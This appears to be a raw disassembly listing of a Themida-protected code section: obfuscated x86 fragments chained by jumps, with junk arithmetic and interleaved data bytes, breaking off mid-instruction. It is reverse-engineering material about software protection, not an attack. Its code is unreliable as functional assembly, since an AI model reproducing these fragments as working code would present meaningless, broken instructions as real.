Themida_:005497E8j add esp, 4 xor ebx, eax push edi jmp loc_551708 ; --------------------------------------------------------------------------- dw 7505h dd 31A40178h, 51E958C3h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547807: ; CODE XREF: Themida_:0054D252j mov edx, 880018Dh xor edx, 19CB5CF8h inc edx push ebp push eax push 17254DC8h pop eax mov ebp, eax pop eax push ebp not dword ptr [esp] jmp loc_54ED41 ; --------------------------------------------------------------------------- db 89h dd 2434FFC1h, 0E92434FFh, 0FFFFF622h ; --------------------------------------------------------------------------- loc_547834: ; CODE XREF: Themida_:005502EBj mov [esp], ebx jmp loc_54C9FB ; --------------------------------------------------------------------------- a31SQ db '3,$1,$éߟ',0 db 0 ; --------------------------------------------------------------------------- loc_547847: ; CODE XREF: Themida_:00548ED6j pop ebp sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx mov edx, 400h jmp loc_547F55 ; --------------------------------------------------------------------------- db 53h dd 4BBh, 5BD82900h, 5A07E9h, 24248900h, 4240481h, 5D000000h dd 0E904EC83h, 2AF2h, 83E28952h, 48904ECh, 35D9E924h, 4680000h dd 58000000h, 34FFC201h, 0BBE95824h, 5E000043h, 112AE9h db 0 ; --------------------------------------------------------------------------- loc_5478A5: ; CODE XREF: Themida_:0054900Fj add esi, 4 xchg esi, [esp] pop esp jmp loc_54AD1E ; --------------------------------------------------------------------------- dd 91F781h, 0EF810514h, 6DA11B78h, 1EF814Fh, 9368855h dd 29685FF9h, 8900006Ch, 0B850243Ch, 2D8F171Eh, 3504E0C1h dd 452E4492h, 6108D235h, 0C68956EDh, 0E95EF789h, 0F53h dd 8904EC83h, 0E9532414h, 4484h, 83242489h, 8B042404h dd 0F3E92414h, 89000015h, 4C581E5h, 83000000h, 0FF5504C5h dd 5D042474h, 5C24048Fh, 582434FFh, 9494E952h, 8B660000h dd 0BDE9240Ch, 5800008Eh, 1AE95553h, 0AD00008Eh, 259D68h dd 24348900h, 0C443F0BEh, 7D580545h, 0F02971E7h, 0E77D582Dh dd 24348B71h, 549FE9h, 24148900h, 86C9E9h, 59CA0100h, 8B241487h dd 34FF2424h, 2434FF24h, 5D545558h, 2AB4E9h, 2434FF00h dd 0A3BEE9h db 0 ; --------------------------------------------------------------------------- loc_547985: ; CODE XREF: Themida_:0054A21Cj xor [esp], esi jmp loc_54BFFD ; --------------------------------------------------------------------------- db 0B8h, 2 dup(46h) dd 0E8C1402Bh, 0B4622D04h, 0C7290402h, 0A3C6E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5479A2: ; CODE XREF: Themida_:00550CF6j add eax, 4 xchg eax, [esp] pop esp shr eax, 12h xor eax, ecx jmp loc_546536 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 0E9560000h, 0A8D5h, 0EA9B850h, 0EC8145F2h, 4 dd 0BF243C89h, 2D091E60h, 4F3AE9h, 4C58100h, 81000000h dd 4C5h, 53FCE900h, 248B0000h, 0E0895024h, 59F7E9h, 8BC80100h dd 0C481240Ch, 4, 8704C083h, 525C2404h, 0C281E289h, 4 dd 4C281h, 14870000h, 89535C24h, 4F76E9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547A26: ; CODE XREF: Themida_:00550B4Fj neg edi inc edi sub edi, 2F9D19BDh sub edi, 0D84331A0h jmp loc_546EDE ; --------------------------------------------------------------------------- loc_547A3A: ; CODE XREF: Themida_:0054DE9Aj add edi, esi pop esi push edi jmp loc_54CE19 ; --------------------------------------------------------------------------- loc_547A43: ; CODE XREF: Themida_:005502CBj mov eax, ebx jmp loc_54E1CE ; --------------------------------------------------------------------------- dw 0F66h dd 9C2404BBh, 0FFE5E9E9h, 0C28359FFh, 528CE902h, 48F0000h dd 2CD25C24h, 0D3E99C24h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547A6B: ; CODE XREF: Themida_:0054E49Dj push edx mov edx, 13554378h or edx, 70122C9h dec edx shr edx, 6 jmp loc_547C1F ; --------------------------------------------------------------------------- loc_547A80: ; CODE XREF: Themida_:0054D869j xor esi, 0B1559B49h add edx, esi pop esi sub edx, ebp sub edx, 1B7C5CE2h pop ebp mov ecx, 0C1C1D21Bh add ecx, edx mov edx, [esp] push ecx mov ecx, esp jmp loc_54ED36 ; --------------------------------------------------------------------------- loc_547AA4: ; CODE XREF: Themida_:005506E5j push edi mov edi, 764B7EBBh shr edi, 2 and edi, 0DF9235Eh neg edi xor edi, 0BF63FE4h sub edi, 0F997C316h mov esi, edi pop edi and eax, esi mov esi, [esp] push ebx mov ebx, esp push ecx push esi jmp loc_546C28 ; --------------------------------------------------------------------------- db 81h dd 0ED0E6DC1h, 59CD8949h, 0F707EDC1h, 7FCD81D5h, 8176DC76h dd 218005C5h, 4DE8E900h, 8B660000h, 33E92404h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_547AFB: ; CODE XREF: Themida_:00550904j push edx push 335B7EBBh mov edx, [esp] add esp, 4 push edi jmp loc_547766 ; --------------------------------------------------------------------------- db 0FEh, 0C7h, 52h aSL db '²´é`l',0 dw 6800h dd 7A6Ah, 51241489h, 66741C68h, 81C7E965h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547B2A: ; CODE XREF: Themida_:0054B8A6j pop esp mov [esp], esi push edi mov edi, 0B8761E1h mov esi, 0B8761E5h sub esi, edi pop edi jmp loc_54E8D2 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0B8240489h, 79FA0BE2h, 96F61D05h, 58C13161h, 8159CB89h dd 4ECh, 24048900h, 45F2E9h, 0F7494900h, 0A3E981D1h, 144A473h dd 240C8BC8h, 9063E9h db 0 ; --------------------------------------------------------------------------- loc_547B79: ; CODE XREF: Themida_:0054AC14j add esp, 4 jmp loc_546C6A ; --------------------------------------------------------------------------- aNsxq db 'éXQ',0 dw 5E00h dd 52FFC083h, 235180BAh, 1D60E9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547B96: ; CODE XREF: Themida_:0054E8D5j push edi push dword ptr [esp+4] jmp loc_5463B1 ; --------------------------------------------------------------------------- dd 4EC81h, 14890000h, 0EE9CBA24h, 0D729D97Ah, 8BF9295Ah dd 0C483243Ch, 59C82904h, 1B47BE56h, 0E6C1589Eh, 48F68104h dd 0E9472E06h, 7D81h, 512FC680h, 9DE901B5h, 83000055h dd 0C8904ECh, 27C6824h, 4890000h, 0DE95324h db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547BEF: ; CODE XREF: Themida_:0054FAF9j pop ecx xchg edi, [esp] mov esp, [esp] jmp loc_548A35 ; --------------------------------------------------------------------------- db 5 dd 80F6C112h, 0E6E9C529h, 59000069h, 2A2EE9h, 7E2C000h dd 0E2B25250h, 0A7BDE9h, 1EE95400h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547C1F: ; CODE XREF: Themida_:00547A7Bj sub edx, 5D558Bh sub eax, edx pop edx xchg eax, [esp] jmp loc_54E20D ; --------------------------------------------------------------------------- dd 24048B66h, 2C481h, 0D3000000h, 0A6A9E9h, 0FFC18300h dd 6F29E949h, 0B2680000h, 89000075h, 0E954240Ch, 73EEh dd 0BA52535Eh, 625F1B6Ah, 0D2F7EAD1h, 102FEA81h, 0D389AC46h dd 9464E9h, 5BDD0100h, 1CBECD81h, 94E95995h, 4600005Eh dd 5F0BEE81h, 0E6C12B54h, 34F68108h, 5742AC5Fh, 0B00813BFh dd 6FBE5614h, 0F7554755h, 3E6C1D6h, 25EE814Eh, 8178F023h dd 52700EEh, 0E9F73196h, 0A030h ; --------------------------------------------------------------------------- loc_547CB4: ; CODE XREF: Themida_:00550F9Dj add edx, ebx pop ebx sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_54ED57 ; --------------------------------------------------------------------------- dw 0B951h dd 42DC241Ch, 0F759CF09h, 93F781D7h, 29FED1FBh, 0F0055FFDh dd 0E958051Ch, 8E0h, 0E9240487h, 8A75h, 27CBEA81h, 0B3E9626Fh db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547CFF: ; CODE XREF: Themida_:0054AA48j push dword ptr [esp] jmp loc_5502F0 ; --------------------------------------------------------------------------- db 33h dd 895C2404h, 0BD55243Ch, 6EEB5CBAh, 58BAED81h, 0EF896EEBh dd 0FFF9895Dh, 34FF2434h, 0C4835F24h, 3BE95704h, 81000016h dd 4EEh, 24348700h, 243C895Ch, 5057C789h, 5D3BC6B8h, 2108E94Fh dd 8B660000h, 5450240Ch db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_551099 ; --------------------------------------------------------------------------- aQtysIHk6 db 'QTYS»',8,'!i|hŠ6',0 dd 8824E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547D6E: ; CODE XREF: Themida_:0054EF80j pop edi push edi mov edi, esp jmp loc_54B7D5 ; --------------------------------------------------------------------------- db 0F7h dd 0ECF781D7h, 4F733A61h, 0DD77F781h, 94E9BDE3h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547D8B: ; CODE XREF: Themida_:0054FFFAj sub ebx, esi mov esi, [esp] jmp loc_548285 ; --------------------------------------------------------------------------- db 31h, 4, 24h dd 5C240433h, 0E9242489h, 0A18Fh, 4C481h, 0E1E90000h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547DAF: ; CODE XREF: Themida_:00546C75j inc ah xor ah, 1Ch sub cl, ah jmp loc_5499EC ; --------------------------------------------------------------------------- db 55h dd 2BDh, 5DEE0100h, 5BE9h, 24248B00h, 0FF2434FFh, 0E9582434h dd 0A0D5h, 1DE3EB81h, 15E97891h, 68FFFFEBh, 33D42775h dd 0C6C3815Bh, 0F7703A0Ah, 0DEC381D3h, 890377A4h, 241C8BD9h dd 4C481h, 0C1810000h, 62FE7FD9h, 5206E1C1h, 98389EBAh dd 814A4218h, 775793E2h, 3EEA8140h, 0E95FA014h, 7FBCh dd 5C243487h, 4A30F66h, 0BE99C24h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547E33: ; CODE XREF: Themida_:0054B2B0j pop edi xchg esi, ebx sub esi, 1 jmp loc_54C462 ; --------------------------------------------------------------------------- aIchG db '‰çh"g',0 align 4 dd 0BB241C89h, 4, 8C9FE9h db 0 ; --------------------------------------------------------------------------- loc_547E55: ; CODE XREF: Themida_:0054C020j pop ebp jmp loc_54B63E ; --------------------------------------------------------------------------- db 89h dd 4BF243Ch, 81000000h, 22728FE9h, 13C6E951h, 0E6890000h dd 152D68h, 242C8900h, 7F8CE9h db 0 ; --------------------------------------------------------------------------- loc_547E7D: ; CODE XREF: Themida_:0054F374j mov edi, 58B50E0Eh shr edi, 6 shl edi, 6 sub edi, 5D24823h jmp loc_54A913 ; --------------------------------------------------------------------------- loc_547E93: ; CODE XREF: Themida_:00550CB0j mov edi, 60497284h mov ecx, edi pop edi mov esi, ecx pop ecx shl esi, 7 not esi push ebp mov ebp, 26283E00h jmp loc_548639 ; --------------------------------------------------------------------------- aAiipsbn db '(ÀëiPébN',0 dd 87D3F700h, 0FFEE83DEh, 0AA8E9h db 0 ; --------------------------------------------------------------------------- loc_547EC5: ; CODE XREF: Themida_:0054D13Ej add esp, 4 jmp loc_550017 ; --------------------------------------------------------------------------- db 0BAh, 1Eh, 36h aX6hN db 'X6hÎn',0 dw 0E900h dd 93E9h, 8530A2BEh, 7E6C12Ah, 0EE81D6F7h, 1C7A34CAh, 7BD0E946h dd 0FF560000h, 5E042474h, 8B24048Fh, 0BF0F2424h, 585450C8h dd 331EE9h, 0D5F75A00h, 7F20E581h, 0B850552Ch, 68E607C3h dd 1F12E9h db 0 ; --------------------------------------------------------------------------- loc_547F1D: ; CODE XREF: Themida_:00547F50j xchg eax, esi push 446Ch mov [esp], ebp push 1 push dword ptr [esp] jmp loc_550930 ; --------------------------------------------------------------------------- db 0BBh dd 30FD3D06h, 0DBF7D3F7h, 0A5C38143h, 31F3433Ch, 0A532E9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_547F4A: ; CODE XREF: Themida_:00548FE8j xchg ebp, [esp] pop ebp xchg ebp, esi jmp loc_547F1D ; --------------------------------------------------------------------------- loc_547F55: ; CODE XREF: Themida_:0054785Aj and eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 push ebx push esp jmp loc_54A3D6 ; --------------------------------------------------------------------------- db 0B8h dd 46EA68D6h, 0FFFFFF05h, 4E8C1FFh, 179BE9h, 9BE95400h dd 81000019h, 4ECh, 24148900h, 0ED2AC068h, 0F2815A1Eh dd 1EED2AC2h, 0E9645D2Dh, 3BDAE93Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_547F9E: ; CODE XREF: Themida_:0054BFDFj mov eax, 4 add ecx, eax pop eax add ecx, 4 jmp loc_549ECD ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0FFFF14E9h, 240481FFh, 5BFF2328h, 0D6F3815Bh, 8157467Dh dd 4964EBF3h, 5BDE01BBh, 1916E9h, 0D42C00h, 0F22DE9E8h dd 0C586FFFFh, 0FCE9D8F6h, 1FFFFE3h, 0E9D2DE8h, 81E93C58h dd 50000093h, 0F48083B4h, 99EA8099h, 94E9E228h, 31000002h dd 3C33243Ch, 24248B24h, 0C73E9h, 0EBE98000h, 586AE9h dd 11990D00h, 1C351E37h, 31AA0BE3h, 0F83158C7h, 81243C8Bh dd 4C4h, 2C815000h, 0C7357124h, 38428F3Eh, 71384281h, 0FF3EC735h dd 83582434h, 0B85004C4h, 30h, 0B951D001h, 36EA7CA6h, 6D56BB53h dd 0EB815F9Ch, 2BF33C31h, 511BEB81h, 4EE91F71h, 28000054h dd 5A84E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548076: ; CODE XREF: Themida_:0054AF05j or eax, eax jz loc_54C003 push dword ptr [edi+1Ch] jmp loc_548A9C ; --------------------------------------------------------------------------- dw 0F001h dd 1941E9h db 0 ; --------------------------------------------------------------------------- loc_54808D: ; CODE XREF: Themida_:0054CB9Bj push 16DBh mov [esp], ebp mov ebp, ebx sub esp, 4 mov [esp], esi mov esi, ebp mov eax, esi pop esi jmp loc_54B578 ; --------------------------------------------------------------------------- loc_5480AA: ; CODE XREF: Themida_:0054BFF8j push 17F2h mov [esp], eax jmp loc_54D7D7 ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 83000000h, 348704C6h, 0EC835C24h, 0C896602h dd 8EB75324h, 2D6BE9h, 0E9CB8800h, 671h, 6624248Bh, 50241489h dd 0A9B23DB0h, 3058C228h, 3DD7E9D0h, 34870000h, 34895C24h dd 4BE24h, 0F5010000h, 2ED815Eh, 87000000h, 83E9242Ch dd 68000057h, 32D9h, 0B8240489h, 4A563D90h, 24A4E9h, 0BDE95B00h dd 0E9000030h, 0FFFFDF12h, 0B6241489h, 88E68032h, 80B1F680h dd 0DEF6D3CEh, 3716E9h, 0E9526600h, 71A8h, 0BABF575Fh dd 812D7E26h, 912C1ECFh, 0DEE7814Eh, 8113A627h, 8238DBF7h dd 81DFF764h, 0E7A800F7h, 38A5E9A8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54816E: ; CODE XREF: Themida_:00547773j xchg ecx, edi not ecx xchg ecx, edi add edi, 32D2932Fh and edx, edi pop edi shr edx, 5 xor edx, 3803D11Eh mov edi, edx jmp loc_55184F ; --------------------------------------------------------------------------- aR47YLDZbsorbB2 db 'Rº47<Y»ÅL',7,'¤)ÓZéŽR!Áß2§H)ÙéæU',0 align 2 loc_5481AE: ; CODE XREF: Themida_:00551060j push ecx jmp loc_549E70 ; --------------------------------------------------------------------------- loc_5481B4: ; CODE XREF: Themida_:00548604j push 1C5h mov [esp], edi mov edi, 0FFFFh and eax, edi push dword ptr [esp] jmp loc_5503FA ; --------------------------------------------------------------------------- db 81h dd 7D70E6EDh, 8BE83134h, 0C483242Ch, 30FF6604h, 0FFDE5DE9h dd 69C380FFh, 805AB252h, 0C280B1C2h, 0C6C280ADh, 805ACA80h dd 0D32899F2h, 6B6CE95Ah, 48B0000h, 666A6824h, 0C890000h dd 50595424h, 4B8h, 0E9C10100h, 2D97h db 53h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov dh, 0D0h jmp loc_552404 ; --------------------------------------------------------------------------- dw 0CD01h dd 81240C8Bh, 4C4h, 5DEE0100h, 0FFFB72E9h, 0BBE951FFh dd 8100007Dh, 4C3h, 241C8700h, 4512685Ch, 3C890000h, 57F26824h dd 3C8B4D78h, 4C48124h, 68000000h, 9D0h, 0E9240C89h, 3F4Fh dd 102C4A0Ch, 6B99E9h db 0 ; --------------------------------------------------------------------------- loc_548285: ; CODE XREF: Themida_:00547D90j add esp, 4 jmp loc_54EDAA ; --------------------------------------------------------------------------- aS_6 db '³Ãé³>',0 dw 8000h dd 48B99C2h, 4C48124h, 66000000h, 2868B753h, 515B66FAh dd 0E800BEB5h, 0E9D00059h, 3607h ; --------------------------------------------------------------------------- loc_5482B8: ; CODE XREF: Themida_:0054C72Dj dec ebp jmp loc_550FBB ; --------------------------------------------------------------------------- dw 0C281h dd 0EA94CB7h, 0FFF78CE9h, 0E08950FFh, 405h, 4E88300h, 0FFF110E9h dd 240C89FFh, 1653E9h, 24148B00h, 815E5456h, 4C6h, 4C68100h dd 87000000h, 8F5C2434h, 248B2404h, 242CD324h, 0DD38E99Ch dd 0C083FFFFh, 0F9DEE904h, 0E089FFFFh, 405h, 42D00h, 4870000h dd 34895C24h, 3CD9BE24h, 0B9E912A6h, 5B000085h, 0FFECE0E9h dd 0E9D101FFh, 3CFCh, 4C681h, 0ECE90000h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548343: ; CODE XREF: Themida_:005498A4j push edx mov edx, 3AA3055Ah sub ebx, edx pop edx jmp loc_548EAF ; --------------------------------------------------------------------------- db 5Bh, 0C1h, 0E7h dd 0EFEF8106h, 0E933237Ch, 5603h ; --------------------------------------------------------------------------- loc_548360: ; CODE XREF: Themida_:0054F2ADj sub eax, 1C17816Ch add ebp, eax jmp loc_54DC90 ; --------------------------------------------------------------------------- dd 0C681E689h, 4, 2565E9h db 0 ; --------------------------------------------------------------------------- loc_548379: ; CODE XREF: Themida_:00549BBCj xchg edi, ebp pop edi and ebp, 4E2E6590h sub ebp, 42623FCh sub ebx, 25B778FAh add ebx, ebp add ebx, 25B778FAh jmp loc_54E9C4 ; --------------------------------------------------------------------------- db 59h dd 8B241487h, 4302424h, 93E99C24h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5483AB: ; CODE XREF: Themida_:0054687Aj xor dword ptr [esp], 7FD87C87h jmp loc_54C8AA ; --------------------------------------------------------------------------- align 4 dd 0FD63E9D8h, 5A5BFFFFh, 8324048Bh, 0EC8104C4h, 4, 36F2E9h dd 0EF895E00h, 1B65E9h, 88C38800h, 241C8BD9h, 5804C483h dd 0C8BC828h, 4C48324h, 4EC8151h, 0E9000000h, 0FFFFFD34h dd 0D0F6F888h, 64E95251h, 5300004Dh, 30E95B5Fh, 68000081h dd 27AEh, 0B6241489h, 0ABEE80D4h, 30D2B353h, 3EE95BDEh dd 5000052h, 10B6910h, 102DE801h, 2D010B69h, 1C087020h dd 5D2434FFh, 4C481h, 0D8290000h, 328ABA52h, 0CA81087Bh dd 313A23F3h, 4221E9h, 0E9D6B700h, 7495h, 518734FFh, 34B5BF57h dd 4F4F4CF4h, 32A0E9h, 26462500h, 93051853h, 0E9029272h dd 11F4h, 0C10709BDh, 0D7EA8116h, 29379322h, 403DE9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54848A: ; CODE XREF: Themida_:00548E52j add esp, 4 and edi, 7CEA75A3h sub edi, 1 not edi shl edi, 3 add edi, 5977BEC8h xor ebp, edi mov edi, [esp] add esp, 4 sub [edi+24h], ebp mov ebp, [esp] add esp, 4 jmp loc_549165 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C7h dd 4, 46CF68h, 24048900h, 2B8h, 0FFC70100h, 81582434h dd 4C4h, 5BDA6800h, 3C890000h, 2474FF24h, 243C8B04h, 0E904C483h dd 7D78h, 0B850C701h, 69D9114Eh, 70D5E9h, 0DB38E900h, 3489FFFFh dd 4EDFBE24h, 0BE9597Fh, 0FF000022h, 0CCE92434h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54851B: ; CODE XREF: Themida_:0054C8C4j xor [esp], edi xor edi, [esp] pop esp or [esp], eax pushf jmp loc_54603E ; --------------------------------------------------------------------------- db 31h dd 0E9DE31F3h, 0FFFFF985h, 46F680h, 4630E9F0h, 0CF310000h dd 19685359h, 5B336F14h, 32E9DF31h, 0BB000030h, 1BD417E5h dd 6647F381h, 0E3C110EAh, 3EC6807h, 34890000h, 398BE24h dd 0DE92CE4h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54856F: ; CODE XREF: Themida_:00546E43j mov edi, ecx pop ecx sub [esp+4], edi mov edi, [esp] add esp, 4 push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 jmp loc_548D40 ; --------------------------------------------------------------------------- loc_548591: ; CODE XREF: Themida_:0054FB7Dj or edi, edx mov edx, [esp] add esp, 4 jmp loc_54A0DA ; --------------------------------------------------------------------------- loc_5485A1: ; CODE XREF: Themida_:0054F81Aj mov [esp], ebp mov ebp, ebx push 742Ah mov [esp], ecx mov ecx, ebp mov eax, ecx pop ecx jmp loc_550A81 ; --------------------------------------------------------------------------- aTsF db 'Té',0Dh,'f',0 align 2 dw 158h dd 69C281CAh, 0E94E0731h, 0FFFFFDCFh, 5DE9E829h, 68000064h dd 59ADh, 0BE243489h, 32E94C7Ch, 34FFF001h, 65E95E24h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5485EB: ; CODE XREF: Themida_:00549E7Bj xchg ecx, [esp] mov esp, [esp] jmp loc_54E295 ; --------------------------------------------------------------------------- loc_5485F6: ; CODE XREF: Themida_:00546468j shl ecx, 8 shr ecx, 1 add ecx, 0FA3AFCF8h xor eax, ecx pop ecx jmp loc_5481B4 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 6555h ; --------------------------------------------------------------------------- loc_548614: ; CODE XREF: Themida_:0054CA01j add ecx, ebx pop ebx add ecx, 4 push 5075h mov [esp], ecx push dword ptr [esp+4] jmp loc_54FDCB ; --------------------------------------------------------------------------- loc_54862B: ; CODE XREF: Themida_:005504A6j mov ch, bh mov al, ch pop ecx mov dl, al pop eax pop ebx jmp loc_54BFF5 ; --------------------------------------------------------------------------- loc_548639: ; CODE XREF: Themida_:00547EA9j add esi, ebp pop ebp jmp loc_54B964 ; --------------------------------------------------------------------------- db 66h, 8Bh, 24h dd 0D9F4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54864A: ; CODE XREF: Themida_:0054AFAAj sub ebx, 73914E68h mov ebp, [esp] add esp, 4 pop dword ptr [eax] jmp loc_54603E ; --------------------------------------------------------------------------- dd 2C381h, 1C330000h, 241C3124h, 5C241C33h, 240C8B66h dd 4E8E68h, 24148900h, 0C281E289h, 4, 2BB53h, 0EA810000h dd 68F60A19h, 394FEA81h, 17E95BD1h, 66000000h, 6A33EF81h dd 66DF0166h, 6A33C781h, 0F3C78166h, 39C9E955h, 0C2810000h dd 68A04D99h, 0BF57DA01h, 431A2EBBh, 679CEF81h, 1DE91B0Eh dd 0BE000019h, 70ED361Ah, 348BF509h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub ebp, 44107FA7h neg ebp jmp loc_54F303 ; --------------------------------------------------------------------------- loc_5486F5: ; CODE XREF: Themida_:0054EDC8j mov ebx, 0BB573D5h sub ebx, 0BB573D3h push edi mov edi, 44B92FDDh dec edi dec edi sub edi, 0DFEEF555h jmp loc_54AFFB ; --------------------------------------------------------------------------- loc_548713: ; CODE XREF: Themida_:0054E8EBj pop edi jmp loc_54A221 ; --------------------------------------------------------------------------- db 58h, 31h, 0F2h dd 1996E9h, 243C8900h, 0EA5223BFh, 81D7F727h, 0F9211BCFh dd 4E7C11Ch, 15D5EF81h, 0EF8107CDh, 0CB0DC841h, 24348157h dd 4F7828E7h, 79EDE9h, 42E95900h, 8700006Dh, 248B2434h dd 4FF6624h, 0B5E99C24h, 0F00005Dh, 0EF68C8B7h, 0E9000055h dd 818Bh, 0C676A2B9h, 5E24E978h, 34FF0000h, 2434FF24h dd 5610E9h, 81E68900h, 4C6h, 15F56800h, 1C890000h, 2BB24h dd 0B9510000h, 44BA7C1Ah, 3F0FE9h, 0C2815F00h, 5BD1394Fh dd 2EEAB951h, 0E1C15394h, 0EE95507h, 81000074h, 0E24C36C7h dd 8EFC147h, 0C16BB53h, 0E94B080Dh, 672Fh ; --------------------------------------------------------------------------- loc_5487D0: ; CODE XREF: Themida_:005507FCj push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 75435F9Ch shl ebx, 3 sub ebx, 0AA1AFCDCh add ecx, ebx pop ebx xchg ecx, [esp] jmp loc_54F44C ; --------------------------------------------------------------------------- db 1, 0DFh, 5Bh dd 15FFB31h, 39E95BDAh, 4700004Ch, 0FFFFEF81h, 0C781FFFFh dd 2C8CE220h, 815FFD21h, 242EF7F5h, 68515322h, 33F27DB7h dd 2FF18159h, 0C154376Eh, 0F18105E9h, 0A3E1522h, 2AE9CB89h dd 58000080h, 4E28CF81h, 0CF813835h, 484E06DDh, 0FFDBE2E9h dd 241489FFh, 4BDBD8BAh, 8BD0294Ch, 74E92414h, 0FF000064h dd 0E9042474h, 921Ch ; --------------------------------------------------------------------------- loc_548870: ; CODE XREF: Themida_:0054FB0Dj or eax, eax jz loc_549165 sub esp, 4 jmp loc_54B49A ; --------------------------------------------------------------------------- aIcsZ db '‰æé¾Z',0 dw 2800h dd 240C8BC8h, 5304C483h, 0FFF9FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_548895: ; CODE XREF: Themida_:0054CEDEj mov edx, 793B040Bh push edi mov edi, edx mov esi, edi jmp loc_547436 ; --------------------------------------------------------------------------- aBIIYsq2 db 'Á‰Ú,œ‰ÈYéQ2',0 align 2 dw 0C8Bh aSfk db '$éfk',0 align 2 dw 0C381h dd 398211B9h, 58D0BF57h, 0E7810199h, 32F07F0Eh, 0FFDBD5E9h dd 0C6C381FFh, 0E9256828h, 1353h, 0EF03E958h, 3433FFFFh dd 35D9E924h, 56BE0000h, 19B584Bh, 0C6815AD6h, 485E4F26h dd 32E9h, 2BBF5700h, 2952955Eh, 8B08247Ch, 72E9243Ch, 0E900002Ah dd 0FFFFD72Ah, 592434FFh, 8184E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54891E: ; CODE XREF: Themida_:0054EC93j push bx mov bh, 0A8h jmp loc_54B516 ; --------------------------------------------------------------------------- db 59h dd 8AE9F0B7h, 81000027h, 92C191F6h, 4EC8320h, 0E9240489h dd 78AEh ; --------------------------------------------------------------------------- loc_548940: ; CODE XREF: Themida_:00552162j xchg edx, [esp] mov esp, [esp] mov [esp], eax mov eax, 34BB1B84h sub [esp+4], eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 pop eax push edi mov edi, 34BB1B84h jmp loc_54A7EF ; --------------------------------------------------------------------------- db 46h, 55h, 0BDh dd 5356B4CEh, 15DEE31h, 0ADE95EF7h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54897F: ; CODE XREF: Themida_:00548D0Dj pop ecx sub ebx, eax add ebx, 2EDE382Fh jmp loc_5490A5 ; --------------------------------------------------------------------------- db 0B8h, 5Ch, 12h dd 0C68160CEh, 63F4CCEh, 0E952C601h, 4AA2h, 402AE981h dd 0C10147C6h, 402ABA52h, 0D10147C6h, 8EBAE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5489B6: ; CODE XREF: Themida_:00548D5Cj not edx inc edx add edx, 602B115Eh push edx pop ecx pop edx and eax, ecx jmp loc_55189C ; --------------------------------------------------------------------------- aZsn db 'Zén',27h,0 dw 900h dd 24048BC3h, 4C481h, 0B8500000h, 7F5A7364h, 6E5CBD55h dd 0ED810D23h, 11137C53h, 0DB2C581h, 0A8E9010Ch, 81000046h dd 4C3h, 4EB8100h, 53000000h, 42474FFh, 81241C8Bh, 4C4h dd 24048F00h, 2434895Ch, 0F0512068h, 7BBCE925h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548A22: ; CODE XREF: Themida_:0054D948j add ebp, 4 jmp loc_54E593 ; --------------------------------------------------------------------------- loc_548A2D: ; CODE XREF: Themida_:0055058Dj add esp, 4 jmp loc_551428 ; --------------------------------------------------------------------------- loc_548A35: ; CODE XREF: Themida_:00547BF6j movsx cx, al push small 5EACh mov [esp], cx jmp loc_54603E ; --------------------------------------------------------------------------- aBQ??srt db 'ÆŸ?#?érT',0 db 0 ; --------------------------------------------------------------------------- loc_548A51: ; CODE XREF: Themida_:0054CE21j pop esp cmp cx, ax pushf jmp loc_54603E ; --------------------------------------------------------------------------- db 54h dd 0EF7BE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548A62: ; CODE XREF: Themida_:0054CDD5j pop esp div cl jmp loc_5516AB ; --------------------------------------------------------------------------- dw 514Eh dd 7813E9h, 3E026800h, 6FE90000h, 5700007Ch, 8C648ABFh dd 0C3E7812Eh, 81205920h, 6E65FFEFh, 94ACE908h, 0DD050000h dd 0E923DB42h, 79EEh ; --------------------------------------------------------------------------- loc_548A9C: ; CODE XREF: Themida_:00548081j push dword ptr [esp] mov 